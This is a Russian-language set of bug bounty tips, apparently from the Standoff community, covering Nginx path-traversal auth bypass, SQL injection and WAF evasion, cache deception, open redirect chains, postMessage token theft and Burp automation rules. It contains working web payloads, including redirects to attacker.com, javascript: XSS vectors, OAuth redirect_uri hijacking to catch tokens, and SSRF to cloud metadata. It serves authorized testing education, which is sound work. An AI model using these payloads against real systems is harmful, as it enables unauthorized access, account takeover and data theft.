Standoff Bug Bounty Tips

🔍 Поиск багов в веб-приложениях black-box методом

При тестировании black-box методом ты не имеешь доступа к исходникам, не можешь увидеть, как работает тестируемая фича или как она обрабатывает входные данные. Поэтому необходимо ответить на несколько вопросов, включая:

▪️Какова цель фичи?
▪️Какие входные данные ожидаются?
▪️Какие типы данных поддерживаются?
▪️Какие технологии используются?
▪️Какие могут быть проблемы безопасности? И т. д.

💡 Основные техники тестирования

Существует множество методов black-box тестирования, и все они, по сути, преследуют одну и ту же главную цель: улучшить понимание фичи и/или вызвать неожиданное поведение. Последнее может включать:

▪️Покрытие кода
▪️Время процесса
▪️Сообщения об ошибках
▪️Проверки входных данных
▪️Сбои

1️⃣ Переходы состояний: анализ поведения системы при различных входных условиях

2️⃣ Фаззинг:

▪️Generation-based — генерация нового пэйлоада с нуля
▪️Mutation-based — модификация предыдущего пэйлоада

3️⃣ Угадывание ошибок: техника основана на опыте багхантера для создания тест-кейсов

4️⃣ Регрессионное тестирование: проверка функциональности после изменений в коде

🔥 Универсальный пэйлоад

<z>"z'z`%}})z${{z\

Его цель — инициирование общих ошибок, нарушения экранирования кавычек, ошибки шаблонизаторов, обнаружение XSS, инъекции форматирования и получение сообщений о некорректном вводе от целевой системы.

💬 А твоя главная цель — адаптировать пэйлоад к используемой в приложении технологии, чтобы увеличить вероятности возникновения непредвиденного поведения.

🥷🏿 Path Traversal в Nginx: байпас авторизации через $request_uri

Представь — у тебя есть валидный JWT, но только права обычного юзера. А что если одним HTTP-запросом получить админские права? Или вообще обойтись без токена там, где он нужен?

💡 Идеальные условия

▪️API с микросервисной архитектурой
▪️Kubernetes + Nginx ingress (Kong, Apache APISIX, F5 NGINX)
▪️URL вида api.example.com/service-name/endpoint или api.example.com/customer-service, а не user.example.com или customer.example.com
▪️Централизованная аутентификация/авторизация (например, JWT проверяется именно на ingress, а не каждым сервисом)

⤵️ Пошаговый гайд

1. Проверяем архитектуру — ищем Nginx в ошибках, отправив запрос к несуществующему сервису:

curl --path-as-is https://api.example.com/sdalksjdeiu1/customer-serivice/endpoint1

2. Тестируем нормализацию ../ и ..%2F:

curl --path-as-is https://api.example.com/sdalksjdeiu1/../customer-serivice/endpoint1
curl --path-as-is https://api.example.com/sdalksjdeiu1/..%2F/customer-serivice/endpoint1
curl --path-as-is https://api.example.com/sdalksjdeiu1/..%252Fcustomer-serivice/endpoint1

3. Находим публичный сервис:
▪️Ищем эндпоинты без аутентификации
▪️Обычно это /health, /status, /public-api

4. Эксплуатируем:

4.1. Возьми рабочий запрос к защищенному сервису, например /protected-service/protected?a=1 и измени на /public-service/..%2Fprotected-service/protected?a=1, но отправь его без токена.

4.2. Сделайте токен недействительным и отправь запрос из п. 4.1.

4.3. Подожди и сделай токен просроченным и отправь запрос из пункта 4.1.

👉 Что важно помнить

▪️Если авторизация децентрализована (каждый сервис сам решает, пускать ли), уязвимость не сработает.

▪️Если всё централизовано и ingress ошибается в нормализации — шанс на баг есть.

🔥 Повышение привилегий

В приложении реализован централизованный контроль доступа, который проверяет, к какой группе/роли принадлежит юзер.

✨ В этой ситуации попробуй следующие шаги:

2.1. Найди эндпоинт, к которому ты не можешь получить доступ.

2.2. Возьми действительный запрос с доказательством аутентификации (например, JWT).

2.3. Отправь запрос к эндпоинту из п. 2.1, но используя path traversal, описанный ранее.

💉 SQL-инъекции сегодня: от базы до обхода WAF

На сегодняшний день SQLi не так часто встречаются в багбаунти, но тут как никогда актуальна поговорка:

Все новое — это хорошо забытое старое

Инъекцию можно встретить в разных частях SQL-запроса: в операторах SELECT/ORDER BY, UPDATE (внутри WHERE), DELETE и INSERT.

🔥 Основные типы SQLi:

▪️Union-based, error-based
▪️Blind: boolean-based, time-based
▪️Out-of-Band SQLi через DNS/HTTP коллбэки
▪️Second-Order SQLi

Многие начинающие багхантеры используют стандартный пэйлоад "x' OR 1=1 -- -" везде, но это работает не всегда. Особенно проблематично с INSERT запросами:

INSERT INTO users (username, email, password)
VALUES ('x' or 1=1 -- -', 'test@example.com', 'hash');

❌Этот пэйлоад может сломать синтаксис и нарушить структуру запроса.

✅Используй контекстно-зависимый пэйлоад:

▪️"x'||'y" — для конкатенации строк
▪️"x', (SELECT ...), 'y')-- -" — для корректного закрытия VALUES

🗡 Пример результата:

INSERT INTO users (username, email, password)
VALUES ('x', (SELECT version()), 'y')-- -', 'test@example.com', 'hash');

🛡 Примеры для обхода современных WAF

1. Замена пробелов комментариями:

'/**/OR/**/1=1--/**/-

2. Использование переносов строк:

'OR%0A1=1--%0A-

3. Скобки для изменения паттерна:

'OR(1=1)-- -

4. Смешивание регистра:

'oR 1=1-- -
'Or 1=1-- -
'OR 1=1-- -

🥷🏿 Поиск коллизий кэша

Современные веб-архитектуры любят кэширование. Их много: на уровне приложения, на уровне CDN/прокси — и каждый живёт своей жизнью.

Но стоит конфигурации чуть разойтись, и начинается магия: разные кэши начинают хранить разные версии одного и того же ответа.

Рассмотрим пример приложения на Drupal, которое использует два кэш-заголовка: X-Drupal-Cache (кэш на уровне приложения) и X-Cache (кэш на уровне прокси/CDN). Когда страница успешно закэширована, эти заголовки показывают статус HIT; если нет — MISS.

Первый запрос возвращает X-Cache: HIT, что подтверждает кэширование страницы, хотя заголовок X-Drupal-Cache показал MISS:

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: MISS
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 6
X-Cache: HIT

Когда мы добавляем Authorization в запрос, оба заголовка возвращаются со значением HIT:

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
Authorization: test

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 12
X-Cache: HIT

Когда снова удаляем Authorization из запроса, статус X-Drupal-Cache: HIT сохраняется:

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 5
X-Cache: HIT

Это указывает на то, что были задействованы два разных механизма кэширования, позволившие сохранять ответы в кэше при разных условиях.

🚨 Что это значит?

Система пытается разделять авторизованных и неавторизованных пользователей, но механизм кэширования игнорировал заголовок Authorization. В итоге приватный ответ мог попасть в публичный кэш → любой юзер получит чужой контент.

По сути, это Cache Deception. Если на проекте несколько уровней кэша и они по-разному трактуют заголовки — явный признак наличия бага:

💡 Всегда проверяй, какие заголовки влияют на кэширование (Authorization, Cookie, Host и т.п.)
💡 Сравнивай ответы приложения и CDN
💡 Ищи «залипшие» HIT-ы там, где должны быть MISS

💨 Техника XSS Hoisting для багхантера

Представь, что у тебя есть XSS, но перед точкой инъекции есть неопределенная переменная. Все надежды потеряны?

Нет, ты можешь использовать технику XSS Hoisting, чтобы объявить переменную и продолжить эксплуатацию.

🤝 Больше шпаргалок по XSS — тут

С какими нестандартными векторами эксплуатации XSS вы встречались в своей практике? Поделитесь с сообществом ⬇️

AutoRepeater + Taborator = 🔥

Объединяй расширения Burp AutoRepeater и Taborator для автоматизации воркфлоу и максимизации результатов поиска SSRF:

✔️ Настрой регулярное выражение в AutoRepeater для поиска потенциальных URL-адресов и замени его на плейсхолдер Taborator $collabplz.

✔️ Это будет повторять запрос, изменяя URL на твой Burp Collaborator. Если SSRF-атака будет успешной, ты увидишь HTTP callback в Taborator с точным запросом, который её вызвал.

P. S. Мы уже упоминали об аналогичной автоматизации, но с использованием стандартных возможностей замены в Burp.

💉Идентификация SQLi через ошибки сервера

☝️Если при эксплуатации SQL-инъекции сервер пятисотит, при этом обычные булевые инъекции дают нестабильные результаты, попробуй пэйлоады из примеров. Они должны вызывать 500-ю ошибку в случае, когда условие (1=1) истинно.

В классических boolean-based инъекциях мы проверяем разницу между TRUE и FALSE условиями по ответу сервера (размер страницы, различие в содержимом и т.п.).

Но бывают ситуации, когда сервер ведёт себя одинаково, и различия отследить сложно (например, ответ всегда 200 ОК, одинаковый HTML).

💡 В таких кейсах можно использовать подход «инъекция через ошибки»:

☑️ Пэйлоад искусственно вызывает ошибку (деление на ноль, загрузка несуществующего расширения, преобразование типа и т.д.)

☑️ Если условие истинно, возникает ошибка → сервер возвращает 500 Internal Server Error

☑️ Если условие ложно, ошибка не срабатывает → сервер отвечает нормально

P. S. Вместо анализа различий в HTML, анализируй факт наличия/отсутствия ошибки, — это помогает надёжно извлекать данные там, где boolean-инъекции «шумят» или плохо работают.

🔥 Merge slashes в Nginx

Ситуация: бэкенд уязвим к Path Traversal, но пробиться через ../ не выходит — мешает Nginx-прокси, который сразу рубит запрос с ошибкой 400 Bad Request, как только вылезает выше корня.

😵 Примеры:

/../../anything → 400 Bad Request
/deep/path/../../anything → OK
/deep/path/../../../anything → 400 Bad Request

Но есть нюанс: если в конфиге отключён merge_slashes (значение off), Nginx не будет схлопывать двойные и более слэши (//) перед проверкой. Это позволяет обойти его:

1. Для Nginx путь выглядит очень глубоким из-за /////.

2. Прокси думает, что ты ещё внутри разрешённого диапазона.

3. А вот приложение, которое реально работает с файловой системой, уже нормализует путь, схлопывает все // в / и получает нормальный Path Traversal.

💡 Если уязвимый эндпоинт лежит не в корне, а глубже (например /deep/path), то уже оттуда можно подниматься на несколько уровней без всяких merge_slashes off. Как видно из примера выше, /deep/path/../../anything всё ещё отрабатывает.

😵 Получаем access token через wildcard origin в postMessage

Если веб-приложение передаёт access token через postMessage и при этом не ограничивает origin, а использует подстановку (*), — это может привести к краже токена.

В таком случае ты можешь перехватить сообщение и докрутить до account takeover. Обращай внимание, если в postMessage стоит * вместо доверенного домена.

😵 Open URL redirect: от low impact до account takeover

Open redirect — это когда уязвимое веб-приложение небезопасно обрабатывает вводимые пользователем данные, что позволяет перенаправлять его с доверенного хоста на внешний (недоверенный).

Существует server- и client-side (DOM-based) редирект (DOM-based). В первом кейсе ты управляешь заголовком Location HTTP-ответа. Второй кейс — это редирект, инициируемый браузером (с помощью клиентского JS-кода).

😵 Где искать

✖️ Страницы входа и регистрации
✖️ Sign out роут или API эндпоинт
✖️ Сброс пароля (проверяй также сгенерированную ссылку на токен, так как она может содержать параметр редиректа)
✖️ Страница профиля учетки

👉 Эксплуатация

Простой редирект, от которого легко защититься, создав белый список разрешённых редиректов:

GET /logout.php?redirect_url=http://attacker.com/ HTTP/2

Легко байпасится:

//attacker.com
/%0A/attacker.com
/%0D/attacker.com
https://example.comattacker.com
...

💣 Повышение импакта: эксплуатация цепочек багов

DOM-based open redirect → XSS

Если в ответе нет заголовка Location, но редирект работает (после небольшой задержки), значит был выполнен редирект на основе DOM. Ты стал еще ближе к DOM based XSS:

GET /signin?redirectURL=javascript:alert() HTTP/2

Наш пэйлоад залетает в window.location.href и отрабатывает.

Более сложные примеры на случай, если пэйлоад фильтруется:

jav%0Dascri%0Dpt:alert(1)
javascript://https://example.com%0Aalert(1)
...

Open redirect → GET-based CSRF

Измени имя пользователя и био любого пользователя, перешедшего по нашей ссылке:

GET /redirect?url=/api/account/profile/username=test&bio=test HTTP/1.1

Open redirect → Account takeover через OAuth

Если приложение позволяет использовать сторонние учетки для входа в систему, то, скорее всего, она использует OAuth 2.0. Если видишь что-то вроде:

/api/oauth/apple?client_id=1234&redirect_uri=https://example.com/api/oauth/callback&response_type=token&scope=openid profile&state=random-state

Просто измени redirect_uri на подконтрольный хост и лови токен.

Open redirect → SSRF

GET/api/image-loader?url=https://example.com/redirect?url=http://169.254.169.254/... HTTP/2

🔍 Обнаружение уязвимостей API с помощью Autoswagger

Если хочешь ускорить и повысить эффективность поиска багов в API auth flaw, присмотрись к инструменту Autoswagger. Он еще молодной, но уже много чего умеет:

🔤 Несколько этапов обнаружения

Инструмент обнаруживает спецификации OpenAPI тремя способами:

1. Прямая спецификация: если предоставлен полный URL с путём, заканчивающимся на .json, .yaml или .yml, файл парсится напрямую.

2. Swagger UI: парсит известные пути Swagger UI (например, /swagger-ui.html) и извлекает спецификацию из HTML или JavaScript.

3. Прямая спецификация с использованием брутфорса: попытка обнаружения с использованием общих местоположений схем OpenAPI (/swagger.json, /openapi.json и т. д.). Этот метод используется только в случае, если первые два не дали результата.

🔤 Параллельное тестирование эндпоинтов

Многозадачное параллельное тестирование множества эндпоинтов с учётом настраиваемого ограничения по скорости (-rate).

🔤 Брутфорс значений параметров

Если используется -b или --brute, инструмент попытается применить различные типы данных с несколькими примерами значений для попытки обойти проверки, специфичные для параметров.

🔤 Обнаружение PII с помощью Presidio

Проверка вывода на наличие номеров телефонов, email-адресов, адресов и имён (с контекстной валидацией для снижения фолсов). Также парсит строки CSV и строки вида «ключ: значение».

🔤 Обнаружение секретов

Используется набор регулярных выражений для обнаружения токенов, ключей и артефактов отладки (например, переменных окружения).

🔤 Вывод в CLI или в JSON-формате

В стандартном режиме результаты выводятся в таблице. С опцией -json выводится структура в формате JSON. Режим -product фильтрует вывод, показывая только те результаты, которые содержат PII, секреты или большие ответы.

🤑 Как находить больше уязвимостей с помощью правил BurpSuite match & replace

Простые, но действенные методы:

1️⃣ XXE

Match: Content-Type: application/json
Replace: Content-Type: application/xml

2️⃣ SSRF

Match: https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)

Replace: https://{YOUR_SERVER}/

3️⃣ Blind XSS

Match: ^Referer.*$
Replace: Referer: {BLIND_XSS_PAYLOAD}

4️⃣ Скрытые параметры/поля ввода

Они могут быть уязвимы к SQLi, XSS, SSRF и другие баги.

Match: type\=(\"|')hidden(\"|')
Replace: type="text"

5️⃣ Расширение доступа с помощью манипуляций ответами сервера

Веб-приложения, использующие JavaScript, часто полагаются на ответ сервера для рендеринга определённых представлений страниц. Смело используй следующие правила автозамены:

"false" —> "true"
"error" —> "success"
"400" —> "200"

🚨 Статические веб-приложения: почему не стоит проходить мимо

Статические веб-приложения находят применение в самых разных сферах: от блогов и одностраничных лендингов до документации по продуктам и API.

И хотя они не обрабатывают пользовательский ввод и в целом устойчивы к инъекциям, списывать их со счётов при анализе безопасности точно не стоит.

🔓 Даже у «простых» сайтов бывают неожиданные дыры. Вот топ-3 самых распространённых багов в статических сайтах:

1️⃣ Открытые бэкапы (часто случайно размещённые в корне)
2️⃣ Незащищённые административные панели и порталы
3️⃣ Устаревшие версии веб-серверов с известными уязвимостями

💡 Чек-лист для быстрого анализа:

• Брутфорс забытых директорий, панелей, бэкапов, конфигов и файлов

• Анализ robots.txt и sitemap.xml — возможный источник интересных путей

• Анализ JavaScript-файлов и комментариев в исходниках — может раскрыть скрытые эндпоинты

• Проверка заголовков ответа на наличие информации о версии веб-сервера

P. S. Не стоит недооценивать «простые» сайты. Даже без логики на сервере они могут содержать чувствительную информацию — от исходников до ключей и административных точек входа.